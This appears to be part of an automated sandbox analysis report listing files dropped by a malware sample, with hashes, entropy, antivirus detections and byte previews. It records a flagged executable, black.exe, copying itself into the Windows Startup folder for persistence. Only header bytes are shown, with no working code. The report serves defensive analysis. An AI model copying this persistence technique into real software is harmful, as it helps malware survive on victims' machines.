Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.9./.1.2./.2.0.2.4. . .0.1.:.0.5.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\RarSFX0\[Content_Types].xml

Process:	C:\Users\user\Desktop\Y5kEUsYDFr.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (302), with no line terminators
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.857483719766813
Encrypted:	false
SSDEEP:	6:JiMVBdDmUifoPWzcJ7RexJOG0XIQsJyLAxJmJBJ4lpAxJuhwc:MMHdD6fY4cufsXIQslfEgAfHc
MD5:	B9C3AE0E82195B170FEA8976D2EAFF22
SHA1:	4EBC61D576E45E7FA118EB909189B34FEE42791D
SHA-256:	14DEC7D1C20FC426AD5463D1B658F87A22F7E576BA4A08905CAF399551813A72
SHA-512:	AD82F54D5DBD951CC7F9B24D90A87DFDF1E1E839AA0C92DE7A813BA09BFF66F309274384275D0F38C7990A511EC2363341C516556230ED81D97EA62569A326EB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="dll" ContentType="application/octet-stream" /><Default Extension="pkgdef" ContentType="text/plain" /><Default Extension="vsixmanifest" ContentType="text/xml" /></Types>

C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Process:	C:\Users\user\Desktop\Y5kEUsYDFr.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	550912
Entropy (8bit):	7.713690387908805
Encrypted:	false
SSDEEP:	6144:eVtna0OB1sZqP+jPVtSfj+Bv/pvteHwxBBBvYfrZcE0X+VkV/M0wZSca7ForfYEd:E5f0+B3pUHwpJYTcOSV5suQeEFHncyQ
MD5:	09929B04B0C29E2722009F49FAF7183C
SHA1:	8FBACCD01E2F6E3213140402766B90E0409C92BE
SHA-256:	2AA22D6CD757C6E46D10FD8DB264481C299FF4646F2698C7A1976384D7C20EE2
SHA-512:	CC9728AF886B748119AE2BEDE4B7E9FF5F2245EEA3D1B9034E943D33A060D78E0191B8DF1B80E5E01F666B0DE6473C5D846CB446D7F83925BD83FBA5BE9D091B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..~............... ........@.. ....................... ............`.....................................(....................................................................................`.................H............text....\|... ...................... ..`.\|]Y................................ ..`.z~z.........`......................@....%?T.....X.......Z.................. ..`.rsrc................`..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-09 01-04-36-988.log

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15110
Entropy (8bit):	5.34439448979523
Encrypted:	false
SSDEEP:	384:fr96lrQRCzOY6dGj1bxYgyzKmlcN7S29bMFJDnTCvRl9/PjOuphT8b8hAjBf4JR8:BRx
MD5:	2F0D5120C157C3D04020BAE9EBB40621
SHA1:	3FFBC800F05811ADADDFF800841CDB0FB0CF1AFD
SHA-256:	3920A3D7F87EBA513DD1F689356B237C70EA58118EED19BB8AAAAA7E73EC937D
SHA-512:	D53C6EEBE3AD6709F782C71E2528D439BD869EBC0AD6FC307C4C82DF4427BF55BBF877D118EBFC6EA1EA4C9D5FC264625044A2181BA7928A201D038942E52321
Malicious:	false
Preview:	SessionID=bcb587ae-1c8e-4c6c-a185-fb487858f1e4.1733724281170 Timestamp=2024-12-09T01:04:41:170-0500 ThreadID=3520 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bcb587ae-1c8e-4c6c-a185-fb487858f1e4.1733724281170 Timestamp=2024-12-09T01:04:41:177-0500 ThreadID=3520 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bcb587ae-1c8e-4c6c-a185-fb487858f1e4.1733724281170 Timestamp=2024-12-09T01:04:41:177-0500 ThreadID=3520 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bcb587ae-1c8e-4c6c-a185-fb487858f1e4.1733724281170 Timestamp=2024-12-09T01:04:41:177-0500 ThreadID=3520 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bcb587ae-1c8e-4c6c-a185-fb487858f1e4.1733724281170 Timestamp=2024-12-09T01:04:41:177-0500 ThreadID=3520 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388982408897857
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rR:a3p4AmaaUv9iZ
MD5:	55EF1E942BC78C7EE02194EE61DF929D
SHA1:	3B82E0670B2CCD4D7AB5217C33B7F98F0487AE5D
SHA-256:	91401E30B1B884272C4AD007517ABF96D8D7A0A0DCAAB5A981202F981A344996
SHA-512:	69F92EF43A8A56105639188AD6F23821308F20812169DC3C050D9F5E4095D030AD9584124EBEA4C5065CB030DD3074C153D8A337C4D5FD3A45C50DD625E8CDCD
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1e9c6945-0fb3-4333-9423-0a681177ef1b.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:eIowYIGNPnbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:UwZGNb3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	DD5E646E5A339DEA766F301A1768A03D
SHA1:	C2FC502E4D0563D50F3A32F583C4E353F504FDC9
SHA-256:	2EEE2EE4A1201AEC0D19B1B961BFFA3AF0BE80D9A8320684847DDA4451AFF5F7
SHA-512:	E2A03E11E27C3CBC3E186FB29175A6F037CDEDBE17CAEA38F13575A5EE7A18574152A77E2E4A4AFD53613001035A1B76BB7194F292E4B8B5BE4275981480D408
Malicious:	false
Preview:	...........]..8.}. .)."{g.-.}plw.A........,..Y.tI.g.....)Q.H..'p#p`.U.S.H.)....e....a.><..w.....Dw..9.0Y~.......1.._......j.....Oh.q.\,....tn.....w..i.f..?A../.h.D..........n^......M..w......C....!..4.........w4q..F.1I.!A....(.........TN..'8...Q.........^...za..0Hm/.....{.....\....' ..1..0.qzD........'Y...... .m..8Bh... ...4...z..}.9..Lqp..M \Xe......Q..0..+C.B.4Ijm...o..co..q.d.~.8...\/.4.]....8...1.].D....K.\|...hp\..... .ch.....\.g..Qpf.{N....n<......'.....KS(.k..$Q.R...6..'.....7.!....{.....b....C.v~...x...FO^..O.d.>'>...........&.. ..WR...6...^.D..A...d1\|..F.g..g;.\...m..V..0..le.......4J..p.(..l'.....n_........n.0..P...Y.KJ.S.B.><.\C.}..~....,..k..V....XI#w..B..Q.B...t..\.lB;&!.n.(._=..>...+..a.......N.X{.{..ly.$V......@..E.....R.j.x[..V.....Ij.....mQ....-D....U1..J...F+.%...6.g.T.....X....(...w...8a..\1..^z.6...@R....l.i.A..,.......o..~^bM.E..qW^?.......!..)u.(&*.v....."c.H..Pp..uy...DP8.m3.:T..U=............0-~.B..w...D..'

C:\Users\user\AppData\Local\Temp\acrocef_low\55577ac6-3b04-4706-94b5-0e286619386b.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\65db7df6-b647-465d-9005-918eff44bd8f.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9af8058f-f9d6-4f24-b069-2956d65fd9bd.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ3POSTJJJJEQ6T9UkRm1XX/FLYVbxrr/IxktOQZ1mau4yBwsOo:r+Tegs6lTJJJJv+9UZd1ybxrr/IxkB1m
MD5:	774036904FF86EB19FCE18B796528E1E
SHA1:	2BA0EBF3FC7BEF9EF5BFAD32070BD3C785904E16
SHA-256:	D2FC8EA3DDD3F095F7A469927179B408102471627C91275EDB4D7356F8E453AD
SHA-512:	9E9662EA15AE3345166C1E51235CDCE3123B27848E4A4651CC4D2173BDD973E4AD2F8994EFF34A221A9F07AA676F52BEB6D90FF374F6CCB0D06FA39C3EFE6B31
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\bcf35d09-a38b-4f42-9e5d-09c0a4e6c567.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bfe2d6d2-e579-4d5f-9e9d-4527526ac764.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:ZtwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	971F33F2204A29A9601BD391856AD580
SHA1:	EFDE508CA80123F69E881A0CDEDEFC4B4713B04F
SHA-256:	06390D0A44CF3C02ED7D30A7985F83CC6059CC0302F02DC30E78FD711A2C7119
SHA-512:	CA3B3FABE111B201ECF4B23596BE7EACCB2405ECA3415658293CE8B0AF97286E4FEDE85E8511679D49124DCCF9D5C020B05A4E6C20C281ED1D8BEC0EABDF620F
Malicious:	false
Preview:	...........]..8.}. .)."{g.-.}plw.A........,..Y.tI.g.....)Q.H..'p#p`.U.S.H.)....e....a.><..w.....Dw..9.0Y~.......1.._......j.....Oh.q.\,....tn.....w..i.f..?A../.h.D..........n^......M..w......C....!..4.........w4q..F.1I.!A....(.........TN..'8...Q.........^...za..0Hm/.....{.....\....' ..1..0.qzD........'Y...... .m..8Bh... ...4...z..}.9..Lqp..M \Xe......Q..0..+C.B.4Ijm...o..co..q.d.~.8...\/.4.]....8...1.].D....K.\|...hp\..... .ch.....\.g..Qpf.{N....n<......'.....KS(.k..$Q.R...6..'.....7.!....{.....b....C.v~...x...FO^..O.d.>'>...........&.. ..WR...6...^.D..A...d1\|..F.g..g;.\...m..V..0..le.......4J..p.(..l'.....n_........n.0..P...Y.KJ.S.B.><.\C.}..~....,..k..V....XI#w..B..Q.B...t..\.lB;&!.n.(._=..>...+..a.......N.X{.{..ly.$V......@..E.....R.j.x[..V.....Ij.....mQ....-D....U1..J...F+.%...6.g.T.....X....(...w...8a..\1..^z.6...@R....l.i.A..,.......o..~^bM.E..qW^?.......!..)u.(&*.v....."c.H..Pp..uy...DP8.m3.:T..U=............0-~.B..w...D..'

C:\Users\user\AppData\Local\Temp\acrocef_low\eea91b9d-8101-4549-81b6-08bb21993c9f.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f194a3dd-5956-443a-a2ad-52c4d7c5b3a4.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	550912
Entropy (8bit):	7.713690387908805
Encrypted:	false
SSDEEP:	6144:eVtna0OB1sZqP+jPVtSfj+Bv/pvteHwxBBBvYfrZcE0X+VkV/M0wZSca7ForfYEd:E5f0+B3pUHwpJYTcOSV5suQeEFHncyQ
MD5:	09929B04B0C29E2722009F49FAF7183C
SHA1:	8FBACCD01E2F6E3213140402766B90E0409C92BE
SHA-256:	2AA22D6CD757C6E46D10FD8DB264481C299FF4646F2698C7A1976384D7C20EE2
SHA-512:	CC9728AF886B748119AE2BEDE4B7E9FF5F2245EEA3D1B9034E943D33A060D78E0191B8DF1B80E5E01F666B0DE6473C5D846CB446D7F83925BD83FBA5BE9D091B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..~............... ........@.. ....................... ............`.....................................(....................................................................................`.................H............text....\|... ...................... ..`.\|]Y................................ ..`.z~z.........`......................@....%?T.....X.......Z.................. ..`.rsrc................`..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\black.exe

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	550912
Entropy (8bit):	7.713690387908805
Encrypted:	false
SSDEEP:	6144:eVtna0OB1sZqP+jPVtSfj+Bv/pvteHwxBBBvYfrZcE0X+VkV/M0wZSca7ForfYEd:E5f0+B3pUHwpJYTcOSV5suQeEFHncyQ
MD5:	09929B04B0C29E2722009F49FAF7183C
SHA1:	8FBACCD01E2F6E3213140402766B90E0409C92BE
SHA-256:	2AA22D6CD757C6E46D10FD8DB264481C299FF4646F2698C7A1976384D7C20EE2
SHA-512:	CC9728AF886B748119AE2BEDE4B7E9FF5F2245EEA3D1B9034E943D33A060D78E0191B8DF1B80E5E01F666B0DE6473C5D846CB446D7F83925BD83FBA5BE9D091B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..~............... ........@.. ....................... ............`.....................................(....................................................................................`.................H............text....\|... ...................... ..`.\|]Y................................ ..`.z~z.........`......................@....%?T.....X.......Z.................. 